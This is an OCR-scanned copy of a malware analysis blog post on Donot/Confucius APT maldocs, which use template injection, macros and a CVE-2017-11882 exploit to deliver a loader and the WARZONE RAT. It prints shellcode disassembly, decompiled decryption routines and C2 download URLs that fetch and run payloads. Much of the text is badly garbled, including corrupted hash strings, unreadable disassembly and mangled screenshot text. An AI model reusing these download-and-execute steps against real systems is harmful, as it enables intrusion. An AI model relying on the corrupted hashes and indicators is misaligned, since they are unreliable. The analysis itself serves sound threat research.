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Maria.
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I have not done any proper analysis for a while now, so here I am, trying to keep my itchy fingers busy after

getting revved up by FlareOn last month.
I saw this interesting post [1] and jumped right into it.
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Preliminary research got me these:
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SHA256 Filename
S9CCFFF73BDB8567E7673A57B73F86FCO82BOEAEEAAIFAF7E92875C35BF4FG2C Suparco Vacancy
Notification.docx
A3CD781B14D75DES4E5263CE37AS72CDFSFESOL3ECESFFBDAEEE3783FFI5B073 | Testing.docx
904E966DA7B38514F6AC23BBAIDACIRS88R8BCDABFATTBTIC770156B19AB8A4ACE | mal testin.docx
8E85CE62ESD7FAIAGD2E176BCAGFE526B53EBFDAGEF3DF208E1E60434BD26EFFC | IN4447832
5C9477C16DFREF4434C042E69BA73A44452CAEEQ96219A56EB2DA30FOBSERBS976 | patch / updte
686847B331ACE1B93B48528BAS0507CBFOFIBSOAEFSBEF539A7DEF2246135424 | KB466RA32
1D9EDE11B34A20D4947F01432CEAOBEDBEFAS11FO2AFAAESDS5673F56ATEEAFA

I found additional samples on VirusTotal using RTF creation date: 2019:12:26 11:48:00

Press enter or click to view image in full size

SHA256 Filename
1c4b8al1f48ff1h9511aec0704983e45242f01c2109ab4602f7952481429ddc84
88672df33b02275660ec3995f3bad63fe994c09bhaBe978e7f18d4f8c9a97637a
7609034e7473869b3a5767f9543b6067998f4db68e3ba26966c115535337337f SPD728
ade6d291c¢870a9f59d4a22ffAd61e6b2a913538701517e8d0aa2 75855fd80a76 0185
299ae9163f6dbba22e1357c2164eb0f9971a26423481813ec11dc598784435b95 10068P
leGe568e2fccfeb2e0275982d5637e0befd0bad575685126d957061bf2d19678 178P
4¢5c43f4932acd497c716bb5ec30a7636e5056775a4d5f3f48b%e5¢1414b9f7b3 248P
7305e08ab7812f44ea42e89ae7d473b1f373c151caBd12f77b79e85c942366fc 21075P

These samples are related to the same threat actor because of the overlapping C2 domains used, the similarities in

file naming and the same payload deployed.

After pivoting and researching, “Donot” and “Confucius” are two APT names that are closely related to the
samples found. I don’t have enough data on my hands to say if these two groups are the same or if they are simply
sharing infrastructure. Nonetheless, I shall concentrate on technical analysis while folks with more telemetry can

worry about attribution.

The maldocs deployed by the actor use the following techniques to initiate the infection: Template injection,
macros and/or exploits (e.g. CVE-2017-11882). After going through some trouble of
deobfuscation/decoding/decrypting strings and code, the final payload (AVEMARIA, aka WARZONE RAT) is
fetched and executed using one of two ways. One is via a loader (comes in a pair of files made up of a DLL and a
XOR-encrypted data file), which I named as DonutLoader since there is no existing catchy names for this; the

other way is via a different pair of files made up of a shellcode and a gif.
This long post shall be organized in this manner:

e Template injection

e Malicious RTFs (walkthrough of my analysis of the shellcode deployed by the exploits) to execute
DonutLoader and/or AVEMARIA

e Macros to execute DonutLoader

e DonutLoader Analysis

e Brief comment on AVEMARIA

Template Injection
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In the case of “Suparco Vacancy Notification.docx”, the next stage malicious RTF is downloaded via relationship

templates.

[ CaWsers\userDesktoph 59T IbAbESET ¢ 767325 TET HBEFDE2b0cdenna HafTed2B7 53 b H4FE 20\ ST I dbBSETa 67 305 7b 7 3BEF (B2 00 2e... il (1. ES

El_e lm_,i«-:h View Encoding Langusge Seftings Tools Macre RBun  Pluging Window @ x|
O s 2Rk ael 2t BRIEIEZED S RONCRTRTE TR

|| settinngs somi vl 3

The exact same settings.xml.rels file is observed within “Testing.docx”.

“mal testin.docx” contains a different download link:

pcrg Bun Plugins  Windew 1

RERIEEREE

Malicious RTFs and the shellcode within
RTF: 8E85C62E5D7FA9A6D2E176BCA6F6526B53EBFDAGEF3DF208E1E60434BD26EFFC

The file “IN4447832” is a malicious RTF that downloads a pair of gif/shellcode files that in turns download the
final payload. The whole series of activities is triggered with the exploitation of CVE-2017-11882. Let’s see how

it’s done.

At the end of the RTF file, we can see an embedded object:
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an exploit for the equation editor. We can find the beginning of the exploit shellcode after identifying

Extract this object and look at it again
the “Font record” header (0x8 denotes Font record). Put it into IDA:

There it is
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SEgaes : apaaaaaa
seghes: apaaRRae BE 44
Segiea : aapaeaas
Segiea : appaaaas
seghes: aaaeeRas BA 78
se : BREBBBBA 98

seghes: aaaeeaal BB B8
seges: abeaeear BB @89
segles: aaaaaell 98
segees:aaeaeal2 BB 89
seghes:aaeaeeld 66 83
seghed:aeaeeals FF E1
Segges : apaapals

a8 8 8 0 8 & 00

EB 71 12

56 34 12

Cl 43

eax, 1271EB44h

edx, 12345678h
ecx, [eax]
ecx, [ecx]
ecx, [ecx]

cx, 43h ;
eCx

We can follow where the instructor pointer goes to within a debugger. Gflags come in handy again for this. Set the

debugger for “eqnedt32.exe” to “C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb -server

tcp:port=5505”, click Apply and OK.

[} F
. e L] iAs B4 ¥ - W = > Sy:
G-\“}v & Computer ¢ Locsl Dai (C1) v Progesss Pl (B8] ¢ Wondeet iz » 10 0 Debugpes » ol » -y &l el
Cugnare = = Open Hiewe Takisr - 3 8
Mame e =
o Frvertes o v e s S —— - o
B Deaktop W bugakin e okl Flags “
& Dowrioady T b T —_— —_— 5
B Recent Places T [ Systoes Pginty | Maal Rlage.  mage Fie | Stert Process Bt | Assest Fiteeng | |
W7 dhprgprease iy {EREna reteas) [esreid ane Lasmh
A Libeare. . dbgang 48 I S oh exdapten [ Dbl slach extessiry
* Decuments (3 dbghelp.chen ™ Shew ewder paase
ot Munic %, dbghelp.dl |
= Pictuner -azbuguo-m:- I Enaiie meap sl checiing ™ Erabin sywes orical presis
B veeon W dbgrpe.a I Ensbis naap fres chacking [ Deastis saap coaiseca o2 e
W dbger.ane I Ensbis heap parimiter chiscing
& Computer W dt ™ Enable heap walkdaten o ool [ Erdbie enlepios Bogre
L debugges.chen I Enabie applcafion werter
B Hotmeet % decemudll " 7 Erabim page pess
] dmidoc A
Y dussgchkme I Enaie Boap tegsng
R | FLis 7 Crests wner Fede slach Face dalabane F ::-ﬂﬂi::ﬁnmw
2 o wwsagton
= gl
'_ Iodgne ™ Ensbie heap inppeg iy DLL T
7 gt vt I~ fpmaore snsens
=1 ket e I Loadimage sang e pages # poviti
[ Db [ PragramTins [T e
& Wdnet debugem pil (i
. I I $inck Dacisrmce: (Uage]
] Kemel_Deibuggeng_Tutonsldo ah
[mm g oflegsame Dute modifed LL20Z01S 256 AM Date cremed L0200 255 AN
.__!| Apphorticn Tow 130 KB - I Corcnl I

Execute the RTF file and with windbg, connect to remote session “tcp:port=5505,server=localhost”.

Put a breakpoint “ba r4 0x45BD3C” (taken from the shellcode 0x1271EB44 XOR 0x12345678) which will break

on access read/write on the address.

When the breakpoint hits, we see this:
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Memory Gl=
Virtual  @x45BD3C | Previous | [ Ned |
Display format: b/

) PRAShd3c 64 5 15 6@ 87 0 Bl 68 AP G 48 ¢ ", IE'

The shellcode followed the addresses three times, let’s do the same and arrive at:

Memuory B
Virtual:  @x5da358] | Previous | [ Next |

Display format: | Byte -

m

That looks like the MTEF data followed by font record, isn’t it? The shellcode then jumps to offset 0x43 from
here, 0x5da358 + 0x43 = 0x5DA39B.
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Mermory ==

Virtual: SDA39B Display format: |Byte w | [ Previous | [ Net |

Now, you know what to do. Put a breakpoint here of course.

> bp 0x5DA39B
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Desazsembly Gu
Offset: gﬁﬁmp{'" gt

E'l.!'.'v-l-in}ab L

Command o]

The shellcode then did a little “polymorphism” and we find out that deobfuscation is done on the last 0x315 bytes
of the extracted object — first a NOT, followed by XOR 0xEO.
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After deobfuscation, we can then see the strings and code:
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2067

Recipe Input !:':::.- 2'21 B Cear D [ Reset layout
From Hex @ [ 4B SB 2E OF 92 92 AF 1D IF IF 92 80 C7 IF IF 1F
4F 4F 75 88 4C AE 4F EB 48 TF 9C ET IF 8A 20 ZE
Defmiler  Space v DF 4F 75 1E 75 1C 4F 75 LE 77 1F 1F AF 9F 4{ E@
48 13 52 2b oC 10 1F 1F 75 IF 92 B 2B 75 IF 4D
NOT - 77 1F 3F IF IF 4C 4F E0 48 5B 9% 89 F& 1E 1IF 1IF
Gr_EBFLEE'Q-EN?]‘E-BﬁBEFlS!B]-BﬁB???n!Z
Sion I.12famu?snuu:aﬂssnnmn?s
© " GB 38 73 FE 6B YA 6C 6B 3D A &F TB 6B TA IF 1F

IF IF IF AF IF IF AF IF IF IF IF IF OF IF IF IF
IF 1F IF 1F 1F 1F 1F 1F 1F 1F 1F IF 1F 1F 1IF 1F
IF 1F IF IF 1F 77 6B 6B &F 25 38 38 6B 77 74 32

Key Hex= E@

SEIRER  Sandar N 7270 78 71 76 T4 73 76 78 77 6B 31 26 29 31 73
6B 30 70 6F 6B 60 TE 3@ & 7E 71 68 31 78 76 79 |
Mull preserving | IF 1F IF 1F IF 1F 1F 1F IF IF 1F IF OF IF IF 1F
1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F
To Hex @ [ IF 1F IF OF 1F IF 1F 1F IF OF IF IF IF IF IF OF
1F 1F 1F 1F 1F 1F 1F 1F 1F 3F 1F 1F 1F IF 1F 1F
Delimiier | Space . i1F AF IF AF IF AF 1F 1F IF 1F 1F IF 1F 1F IF 1F

IF 1F IF 1F I1F

|

Elne:
Output 1enge: I e
16d.gB.v. V.. e LB 2ub PR LYV
CBIETA. .OW18. % B0t AL . OBEAOU. *uBZ.R.Z5.0F . K2, . O. .0 ELr AL L T cumal BB L BEE
Bl Bu. k.. U BB PR 5 06 VR Rl BN 0. b PSR AL GG, 28 06 CK-
Ocesar AoG 17§ °C6(L .06, PR.ECE. . 28,06, 94} .06 4, . 0CG . W
FEE0/4.C60. 0. 0064, . ACGBAPSUCGE® k. COE W (G076, . CGH
5.0, g¥P. (GLOS JEREPFYNL32. hshel. 5P, . &. . ACGTXE; IW. . TREBFY_hon. .hurls. .SPGW. A,
JECEY.OT L6 Pl W \BVBRT LA L. RPPY. SOPPN g uFL1APY.§ PR L S0 gL .
vo$i.Rh. . SPYNDIA, Y. ....0...PP]. S0P 0 .u3lAPT . §.Pi b 5. e Ja a1 RAL
< SPPHD. .¢. . . FAWahTEp: S the-
moondelight 98, 10/ latest/updte. . ..o rvvnrrvnmrrramrrsssrranr e neeaNEEPIS A ThE=
moondelight .96, 1tfoptiral sant . gif

Analyzing the deobfuscated code will lead us to know that the file “updte” is another shellcode that executes code

(again, XOR encrypted) in sant.gif.

R e LT ira 03, [FOIFERI_CALI.EHLLCWRICND 10NN |
g TR ol resalve i
* e eed:eoNealrs = wdi
T g pitel 1 bR P e i, B
* negen:aa1rD Les wex, [ebpeitin] i hktpil the-moondelight . BE, 1t/ Latests
: o DRI Lea ehe, [edieian]  § C2Ver\eker WAgalatalLotal M preso T U\ HEAdinr | Temparary  [Akernel Files\Content. [ES\QEQOHSEM updte] 1] . his
o el - D b puth LE L
* e ped :00ea TS puth  fax
s it T push E
B ] g
] push  ebs
* ORI push =
T ] push  sam
® 0000 T call  [edlsapd_call U8i0oen]csdTolacheriled]
el s b g san, @
e tit] Inz shart loc_Thk
' : s i 2L ' pan, Een
{ B atassartl] push  pax
P seph:aeatit push 1
v e T puEh L]
P ez Le puth  cax
e a1 puEh i
U " neped:oeaTLE push  Eoe0ooDeh
o a1 sk el
¥y * g OeRIIII4 call [edlémpi_call. Createrilea]
VT sl e 2T Lea e, [edLels ] § canmest_updte
Dl eegeee- N0 push @
v sepidecbeeai:F Lea edw, [esp] ]
R rersitd push @
VT aepeed el push  eds
DD eI push T
VT aepssdseadiis push  whx
™ g e e T ean
P sepho0-Do0SNT M ealil [edlonpd_call mesd®ile]
" s e e A - Ean, e
BT R Lea wcx, [ebpeimin] ; hitp://the-moonds]light 96, 1t optra/uent  gif
" g e e 24T lea ebu, [ediecCin] § Copersuier \Apabatailocal Ml oreso v il ndos | Temgarary Dnternet Files'Coanent, IESL 00LACG sent[1] gLV
V" epeeazooeeTeD push  sax
tT sephb:adsieE push  eax
VY e AT push  77n
R i) push b
v e R puEh L=
" sopoe0-eedearis puth  fax
: ﬂjﬂ call [eu-!n_uu.mm:wmum
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. SegRan : BI0ea154 call [edi+api_call.URLDownloadToCacherilea]
b" ceg0od 00000257 cmp eax, @
! SEREan RRaeaIsA
: LepBan 0BaEa25A loc_2SA: : CODE XAEF: segon: Soeeaz1aty
T segoo0:0000025A jnz shart loc_28F
v ¥ sepeee :ee0eezsC xor 8K, X
¥ segood:0DBORZSE push  eax
1 ¥ 5egoo0:Boo0azsE push 1
L ¥ 5ege0:00800261 push 3
P et - BORGA2EY puth  eax
i * segoeD:peeeelcs push 1
- " segee:ooeenzes push  Beosedseh
1 segoo0:00000268 push  ebx
+ " 5egoo0 :BER0aZEL call [edi+apd_call.Createrilea)
- : SEgOod - DIOMO2EF lea ebx, [edi+2134] ; content_sant
'Y segeos eee0aaTs push ]
L ¥ 2eg000:00000177 lea edw, [ezp]
+ " L ep000 -BBGA2TA push @
P segeee:eeeeezrc push  ed
’ " segheo:BREee2TD push  2808h
" segood:eo0002E2 push b |
' sepooe :Re8002E3 push  eax
: : =g - DA B4 call [edi+api_call.ReadFile]
| SEee0:00000287 lea ebx, [edislfin] ; content_updte
¥ 5epeee :Peeee2ED imp ebx
: EEEMZMZEF § T i
| SEEee0:Bee0alsF
| sep@ae :BOB0G2EF loc_2BF: ; CODE XMREF: segdod:loc 25at§
b SEgO0a :DOAAATEF call [edi+api_call.TerminateProcess]

SEgO00 BBOBRZEF ; - --c-cceconaas as sasmssssssnsssaans
o Lepgtad (dig0arsl aHttpTheMoondel db “http://the-moondelight .96 1t/ latestfupdte’ @
¥ lcronnn -Raa0aTRC dhaned IR0 Ad a disnfad

The decryption within updte goes like this:

. SEgoed : Gaaoons xor eax, eax
® segbon: 00000602 dec al
. SEgoee : eeesons Moy ecx, 2ADh
. SEg000 : 6ea080ad MoV edx, ecx
—° segooR:eE00000B jmp short lec_27
Segeed : eaoaoad
Segooo :epReReeD ; ======s=s====== S UBROUTINE ===========s========s====s====s=======
SEgeea : eeeseaD
segbiod: eeeeeeeDd ; Attributes: noreturn
SEgoed : deeoaenD
seghee: eeeeeeal sub D proc near ; CODE XREF: sub_D:loc_274p
“ segoee:eoeeeeeD pop esi
 segoee:eooe0enst lea esi, [esi+19h]
Y segPed:eoeesoll mov ebx, esi
SEEoee: eeeeeals
s5egoee: eeeeeel3 loc_13: ; CODE XREF: sub_D+Bij
"% segooe:eeseesll xor [esi], al
* segooe:eeeeeels inc esi
t " seged:ee000e16 dec al
- © 5eg00@:0e00e01s loop  loc_13
" segoee:eeeeeela mov esi, ebx
Y segPoe:eseeslc mov ecx, edx
Y segbod:eeee001E mov dl, 18h
SEEeRe: eeeesaze
|, SeE000:00000020 loc_z20: ; CODE XREF: sub_D+164j
. , [5€B000:00000020 xor [esi], dl
«  Segeo:eeeeeez2 inc esi
LY segeoe:00000023 loop loc_2@
Y segood:00pe0025 call ebx
SEE000: eaeasazy
Segeed: eeeere27 loc_27: ; CODE XREF: 5eglod:poeoeceEt ]
+° cegone:eesenez7 call  sub D

Which leads to me writing this little piece of python script to assist in decrypting the gif file:
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M

decrypt_gif py E3

Mmoo W opa e

=

=
o
9

-]

After decryption, the data looks like the following. But somehow, some parts of it looks like they are still

obfuscated...
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Well, IDA confirms our suspicions.

Segees: eeeesllz inc ecx

segfed: eesalls cmp byte ptr [ecx], @
Seglee: eeeealls jnz short decrypt_strings
Segeee:eeeeells retn

segBfo: 0edad118 decrypt_strings endp

Easy!
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RTF: 686847B331ACE1B93B48528BA50507 CBFOF9B59AEF5B5F539A7D6F2246135424

The file “KB466432” is also a malicious RTF that executes a loader via exploitation of eqnedt32. This is different
from the above RTF I analyzed.
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Comngan "M " A a7 A W22 ® 3% || askeoox AnBbC Aanbee AAE a4 f do@bCrdy  daBSCors AsBbO(Dx Aodb
B U m ® voA- EETE R . Vhiormat |9 Mo Goac. Mgl  esdeg ! Taw - i

e ks .

A cursory look at the RTF reveals an embedded object like this:

| ABGRAPRETEbor b Beob Tk 8 A U P AL 1504 5
¥

Which turns out to be a PE named “muka.dll”. Take note of the path “C:\Users\Dev\Desktop\07082020_8570_S\”

Page 15 of 35



https://medium.com /insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1

(3]
Ln

oL

oL

Ln

1 tn
Mo EE

wLnown
tn

3

Then there is also this other embedded object. Notice how there is a very long NOP sled within, which hints to us

that this object is some code (probably the exploit):
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Indeed, when we inspect this object, there’s a suspicious “tion.3” string in there, which reminds us of
“Equation.3”. Very likely, we are looking at a CVE-2017-11882 or CVE-2018-0802 exploit again. Let’s see what
the exploit tries to do. We can find the beginning of the exploit shellcode after identifying the “Font record”

header.

In the earlier RTF analysis, we found an address that leads to where the MTEF data is found. Maybe use it again

here:
> ba r4 0x45BD3C
Bingo!
Memaory =]
.Virtual: 618ef@ : Display format: | Byte v | [ Previous | [ Newt |
" - , de bl @8 ..l..... I L

Put a breakpoint on where the shellcode begins (in this case, 0x618efa). But it didn’t get hit. Maybe it got copied

somewhere else before getting executed? Try
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> ba rl 0x618efa

Looks like we are right!

Memaory ElE=

Virtual: 18318 Disp t | Byte [ Previous ||| MNedt |

lay forma -
e2 fb 8b @3 SUTHR i e i |

e

Memory | Calls Locals Processes and Threads

> bp 0x18f318
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Disassemnbly
Offsek: [@%scopeip

(1]

(]

& m M

h
zh

add
add
add
add
dec
push
add
add

add
add
add
rol
add

Notice that the shellcode is seeking an address 2*0x7F starting from the MTEF header (0x5B8F0 + 0x7F + 0x7F),

push this address to the stack, and then return to this address.
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Taking a quick look at the shellcode in IDA, seems that the shellcode is trying to load muka.dll.
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seghbo : 6eneeEaB push esp

segdes : 6e0aeaaC push ebx

seg@es : eeaeeaaD call edx ; GetProcAddress
Seg@ee : eenaeaar add esp, 18h

segaes: aaaaaa2 mow ecx, esp

seglbo : pEBBBBAL mov [ecx+8], eax

segfen : 6BBBBBAT mow ebx, [ecx]

segBes : 6e0aaaA0 mowv edx, [ecx+4]

Segiee : eaeaaaAC M eax, 77554422h

SEgeee : eaeeaat 1 xor ecx, ecx

seg@es : aenaeas3 push ecx

segllo : pEBeeRE4A Mo ecx, 36303843h ; athA
Seglie : aaaaeasE9 xor ecx, eax

seghes : ee0aeaEE push ecx

Segiee : eaaaaasC M ecx, 27252947h ; empP
Segeed : aaeaeacl xor ecx, eax

segdeo : aenaeac3 push ecx

Seghed : aaaaeaca mowv ecx, 23212165h ; GetT
seghad : aaaaeaCo Xor ecx, eax

segdos : 6e0aeaCB push ecx

segdes : eeaaeacC push esp

seglen : epaaeacD push ebx

seg@es : eeaaeacE call edx

seglbo : pEBeeRDe add esp, 18h

Seghed : aaaaeais M eCcx, esp

seghes : ee0aea05 mowv [ecx+@Ch], eax

seglen : epaeeals mowv ebx, [ecx+8Ch]

SEgees : eaaeeaDE xor ecx, ecx

seg@les : epaaeanh mov cl, @Csh

seglde : 0poaRaDF sub esp, BC8h

Segied : eaaaeaES M eax, esp

segBes : 0enaeaE7 push eax

seg@eo : eenaenEs push eCx

seg@en : eeaaeacs call ebx

seg@es : aenaeaER mov ebx, 77554422h

segllo : pEBERare mov edx, ebx

seglide : 0RRaRer2 Xor edx, 163E314Fh ; muka
seglon : 6pBEBBFE mowv [esp+eax], edx

seg@es : eenaears mowv edx, ebx

segdes : eeaeearD xor edx, 1B332e8Ch ; .dll
seg@en : aenae1a3 mov [esp+eax+d], edx
Seghed : aaaaela7 xor eCcx, ecx

seglieo : 6pnae169 mov [espteax+8], ecx
seghs : aaaaalal My eax, esp

Confirm this with the debugger. The shellcode calls the export “zenu” of muka.dIl.
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Disassembly
Offset @%scopeip

L

L I I R R, |

L

L

o

'j = |
54

L

L

@asb9lca

L

pushad

cmp

add

Txam

imul . d ptr BA3751B78h

i oLn

MWW W wn

(|

L

It turns out that muka.dll is a DonutLoader. I’1l get to its analysis in awhile.
Macros and DonutLoader

DonutLoader can also be embedded within the maldoc and executed via macro.
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File Edit Search View Encodng Language Settings Took Macro Run  Pluging  Window

o o e | e A A E ‘;__E| ¥ ¥ | i " a3c

P
(¥

5tring) A=z Long

B3P B3 BD
wobow

Publie

#End If
#End If

macro
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embedded object 1 filename

embedded object 2 filename

Within 1d9ede11b34a20d4947f01432cea088dbefa911f02afaae9095673f56a76eafa, there are 2 embedded objects

(as shown in screen captures above):
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- C:\Users\Dev\AppData\Local\Temp\written.dll

- C:\Users\Dev\AppData\Local\Temp\s

Get asuna amawaka’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in

Note also the paths “C:\Users\Dev\Desktop\Macro_XIls_1704_S” and
“C:\Users\Dev\Desktop\01052020_MacroXIsEmb_S” which will help us to find more samples.

Written.dll is a PE in plain, while s is a 0x98-XORed PE.

embedded object 1: written.dll
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embedded object 2: s

These files are DonutLoaders. OK, coming up next is their analysis finally!
DonutLoader

The name came about because I repeatedly mistyped the group name “Donot” as “Donut” when writing notes

about these samples. Folks at PTSecurity [2] did analysis on some similar samples and called them “Lo2 loaders”.

From the RTFs I found from VirusTotal, most of them have a pair of files embedded — a DLL and a XOR-
encoded data file. The following collates all the DonutL.oader samples that I looked at.

Press enter or click to view image in full size
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SHA256 Filename | XOR Key
8CFBFECFE475C3621277EEVFGB0E3AOCBICE50802363DAA256C1057ADFBE17AS written.dll
7A987295229D02514D99516D53F196B87758CEO8FD8621CF68BC419DCO9B80D6D 5 0x98
D279DDB6B2AS66BC24ET89B5181663451B8C2818CRI1E2BAAEST21DCBOBF30B6 muka.dll
ABOABF253CF71B4A1CR934491CFo42ECDADECE2DAF6AB0B5108D7607BEGFC2BE 5Cmv 0x59
JFAB7DO0OCE076EL197A509C01C0794EBCA50229FF5D555BEED7F89F98B3C43A298 muka.dll
684F68429FBBAC224E6FDCH8195CE9B54BA46SFBCC2184EC2B5FCE689ES585CAS4 SCmy 0x59
OEAQ5331E775DE6B329FF1FA22F11809C2C1BCB6ELT683552219CB32F52A47F5 dpur.dll
83847C527F713B6E13849028D66B08686ADDE26BEEIECDEDDCYEADL/EEF7EDCE dng.k Ox67
E291A146F79D927D18392A04D2380D829C0DF156410E4D93636AEE1B5663DB914 vetu.dll
E6753EB498F58F95CEFCO31B6COS3647CE2FAFEF7ADA274C22CA2ZB6284FB5308 velky 0x88
67C0C937E049083193649449519A57E42945CAZABELS756F4E76DI5CAA44A062 muka.dll
J0D41C8C25CB8ET5296576D3DBB37720E03F96691691763953FEAOFEOOFS0EBS scmv 0x59
9B34F53DDC20D5EAZF7BA7818ED2E7DE26948256268CB4E2B11E47ECAFOAB30A vetu.dll
801ACF7B729183945F209C915BA2BB57B541E2EA350899A541DB9A63428711A5 jhet 0x28
FB46324757D0OECERBOACO2T729E281FE4TEF1C367DEEDAS3F14481441C2FSB6CA34S quep.dll
66F3134E3E040F50EDS5629379C0750D896969ACFDCE5105BE/FEFB1B39BA035 nouwn Oxd6

The DLL binaries make use of base64 and XOR operations to obfuscate its configuration data/strings so that our

lives become a little bit harder.
I was able to decode strings from these binaries with the help of a small python script:

Press enter or click to view image in full size

SHA256 XOR key

BCFBFECFE475C3621277EE7FG80E3AOCBICE50802363DAA256C1057ADFBE17AS W 19x60\x0f\x18\x36
7F4B7D0C6076E197AS09C01C0O794EBCAS0229FFSD555BEBD7FBOF98R3C43A298 W19\ x60\x0fx18\x36
9B34F53DDC20DSEAZF7B47818ED2E7DB26948256268CR4E2B11E47ECAFSABI9A | \x19\x60\x0Mx18\x36
67C0C937E049083193649449519A57E42945CAZABE19756F4E7ED95CAALAADE2 W 19x60\x0Px18\x326
D279DDEBAB2ASEEBC24E789B5181663491BRC2818CR91E28AAEST21DCROBFI0B6 | \x19\x60\x0f\x18\x36
FB46324757D0OECEBOACOZ729EZB1E47EFIC367DEED4AE3F14481441C2FOBECAZS Ww194x60\x0Mx18\x36
E291A146F790927D18392A04D238D829C0DF156410E4D93636AEE1IBS663DE214 | \x38 \x2E\x19\x5f\x1a

This python script does the same thing as the one found in PT Security’s article, which said that this algorithm has

been in use since October 2019.
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There is one binary that is “odd”. It had the latest compilation datetime amongst the files I looked at (which were

compiled around Jun/Jul 2020). It uses a different algorithm to decode the strings.

Press enter or click to view image in full size

SHA256 Compilation datetime
OEAD5331E7750E6B329FF1FA22F11809C2C1BCR6E17683552219CB32F52A47F5 Sep 11 09:06:12 2020

S ottt iie s e Sl e T

From within the DLL, the XOR-encoded file is read, decoded and executed.
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B 235 LOBYTE(v123) = 16;

p 236 vd = v58;:

p 237 if ( ved < B )

238 vd = (const wchar_t *)&vw5B;

B 230 vs = _wfopen(vd, L"rb");

) 240 vE = v5;

b 241 if ( vs )

242 {
& 243 fseek(vs, @, 2);
b 244 v? = Ttell(ve);
245 fseek(vs, @, 8);
245 vB = (char *)malloc(v7);

& 247 fread(v8, lu, v7, vB);

¥ 248 fclose(ve);

249 vO = v58;

258 if { vé@ < 8 )
b 251 vl = [const wchar_t *)&v58;
b 252 _wremove (v3});

253 if ( v7 )

254 {

255 vl = v7d;

b 256 if (w76 < 8 )

) 257 vld = (const wchar t *)&v74;
253 vll = wlopen{vli@, L"wb"™};
259 if ( vl )

260 7

261 w12 = v7;

2682 do

2683

264 vB[vl2 - 1] ~= @x59u;
265 w12

266

b 267 while { v12 };

268 fwrite(vd, lu, v7, vll);
269 fclose(vll);

Within this second XOR-encoded executable, the same tricks are used to obfuscate strings from our prying eyes,
consisting of base64 and XOR encoding, as well as byte additions. Interestingly, not all the strings can be

decoded. But from what could be decoded, we can see where the next stage malware is downloaded from.
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muka.dll (SHA256: 1C41A03C65108E0D965B250DC9B3388A267909DF9F36C3FEFFFBD26D512A2126)

(This file came from the RTF “KB466432”, SHA256:
686847B331ACE1B93B48528BA50507CBFOF9B59AEF5B5F539A7D6F 2246135424, analyzed above)

This particular DonutLoader is more straightforward that those that occur in a pair. It uses just one type of string

obfuscation:
laael1ela
leaelele 55 push ebp
laealell 88 EC Mo ebp, esp
leaelel3 83 E4 F3 and esp, OFFFFFFF3h
16801016 81 EC 4C o4 20 0@ sub esp, 44Ch
1888101C Al 84 40 81 18 MmO eax,  security cookie
16881821 33 Ca xor eax, esp
18801823 89 84 24 48 84 00 ee MmO [esp+adCh+var_4], eax
1ea0102A ©F 28 85 7@ 2B &1 1@ movaps xmmd, ds:xmmword_lee12678
180091231 8D 24 24 C4 92 00 o9 lea eax, [esp+d4Chivar_388]
laaele3s 53 push ebx
10801239 @F 11 84 24 CB 00 o2 2@ movups xmmword ptr [esp+dSBhivar 288], xmm@
18801841 S6 push esi
18881042 BF 28 B85 @8 2B 81 18 movaps xmmd, ds:xmmword 18012886
18881849 57 push edi
10681044 OF 11 84 24 E@ 00 80 90 movups [esptd5Bh+var_378], xmm@
leaeles2 C7 84 24 Fe 20 28 82 Bl+mov [esp+a58h+var_368], @B5C4Blh
18801050 @F 1F 80 nop dword ptr [eax]
Y

loc_loeelece:

add byte ptr [eax], @B8h

lea eax, [eax+l]

cmp byte ptr [eax], @

jnz short loc_leeelece

|
5

Page 30 of 35



https://medium.com /insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1

A quick look at the deobfuscated strings:

length: =32

Recipe Input iy T3k B Cear o |1 Resel layout
Erom Hex 93 (2 B5 Bl C4 BS 24 B9 C2 B5S B3 C4 BF C2 (9 91

BS YE B3 BF BD 7F C2 BS B2 B5 BE C4 7F C5 (8 B4
Delimiler  Space - 93 84 7F B% BE C4 BS BC 7F BE B5 C7 7E BS CB BS

7F 91 (P C@ 94 B1 ¢4 B1 FF A2 BF B1 BD B9 BE B

A5 AZ 9C 94 BF {7 BE BC BF Bl B4 A4 BF 96 B9 BL

ADD. BF BF C2 Bl BD

7F 90 B9 B3 C2

-
s

JF A2 C4 Bl C2 €4 (5 €8 7F BE
€3 BF ©B6 C4 7F AT 6% BE B4 BF
€2 C4 72 5D BS BE (5 7F 40 (2
F7F C7 BF C2 B4 C5 (o B4 Bl C4

-

Key Hexw bd

wd
I
[
=
n
I
L]
]
s
~ m
=

B2 C4 C4 (@ BA

start: 1as Time: dm
Qutput end: 14  length: 1a4 [ "
P length: @ 1inea: 1 ’*I ~ »

CreateDirectoryie, comfrecent/upd: /intel/new. exa/ AppData/ RoamingURLDowm]
cadToFilograms/Startup/n/Microsoft/Windows /Start Menu/Prittp: //wordupdat

At runtime, the strings are used in the following manner:

e CreateDirectoryA(“C:/intel”, ..)
o URLDownloadToFileA(..., “hxxp://wordupdate.com/recent/update”, “C:/intel/new.exe”, ...)
» Persistence is established with a shortcut to execute new.exe at startup:

“C:/Users/user/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/new.Ink”
AVEMARIA

The final payload malware is in fact WARZONE RAT (researchers named it AVEMARIA because of this string
found within earlier versions of the RAT). Many folks have done analysis on this RAT so I’m not going to go into

deepdive.
Some findings that I found interesting regarding the AVEMARIAs executed by DonutLoader:

e The PDB path is intentionally misleading. That path “VCSamples-
master\VC2010Samples\ATL\General\ATLCollections\Client” is identical to Microsoft’s “VCSample”
project on Github and the executable has nothing to do with what the path describes. I found lots of other
AVEMARIASs based on PDBs like this. This could be part of the builder/encrypter in the WARZONE suite.

——
File Hash
- ———
Actions  Irfolevel  ViessTetal  External
File: T0D1DE~1
Size: 1647616

HDS: 40E3805SESCADA4BE 1BFDO656ECTIICIC
Compiled: Hon, Mov 2 2020, 2:51:13 - 32 Bit EXE
FLEB Conlsers  W7HE Desktop Vi Sanples-saster~YC20105anples ATl Genaral “ATLCol lect ions™~Client debuggado. pdb

Besources: 2 - 1200 bytes

CogpHah | [ TCopp
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Press enter or click to view image in full size

Team Enterpris ace  Pricing

3 microsoft /fVCSamples S weeh 71 o star 380 ek 380

¢ Cote T Isswes 5 Il Pullrequests  (2) Actions [ Prejects [ Wik (D Security [ Insights.
